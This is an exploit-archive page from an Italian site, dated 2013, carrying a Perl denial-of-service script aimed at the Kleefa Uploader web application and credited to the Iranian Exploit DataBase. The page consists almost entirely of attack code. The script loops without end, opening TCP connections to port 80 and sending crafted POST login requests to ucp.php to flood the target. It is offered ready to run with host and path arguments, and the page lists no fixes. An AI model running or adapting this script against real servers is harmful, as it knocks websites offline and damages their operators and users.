Kleefa Uploader Denial of Service Vulnerability

2013-12-25 15:49:40
Inviato da: irist.ir

#!/usr/bin/perl
#################################
#
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#
#####################################
#####################################
# Iranian Exploit DataBase
# Kleefa Uploader Denial of Service Vulnerability
# Version: All Version
# Vendor site : http://kleefa.ir/
# Code Written By Amir - [email protected] - [email protected]
# Site : Www.IeDb.Ir/acc - Www.IrIsT.Ir
# Fb Page : https://www.facebook.com/iedb.ir
# Greats : Medrik - TaK.FaNaR - ErfanMs - F@riD - Bl4ck M4n - 0x0ptim0us - 0Day - Dj.TiniVini - E2MA3N - yashar shahinzadeh
# ARYABOD - Black_N3T - Security - l4tr0d3ctism - H-SK33PY - Noter - r3d_s0urc3 - Dr_Evil And All Members In IeDb.Ir/acc
#####################################
use Socket;
if (@ARGV < 2) { &usage }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<10; $i--)
{
$data = "lname=%0%0%0%0%0%0%0%0%0%0
sdfasdf&lpass=%0%0%0%0%0%0%0%0
fsadfasdf&remme=3153600000000000000&submit=�ر�د+کاربرا�&k_form_key=%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0&k_form_time=1";
$len = length $data;
$foo = "POST ".$dir."ucp.php?go=login HTTP/1.1\r\n".
"Accept: * /*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\n";
print "################################################# \n";
print "## Kleefa Uploader Denial of Service Vulnerability\n";
print "## Discoverd By Amir - [email protected] - Id : o0_iedb_0o \n";
print "## Www.IeDb.Ir - Www.IrIsT.Ir \n";
print "################################################# \n";
print "## [host] [path] \n";
print "## http://host.com /upload/\n";
print "################################################# \n";
print "\n";
exit();
};
#####################################
# Archive Exploit = http://www.iedb.ir/exploits-1075.html
#####################################

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.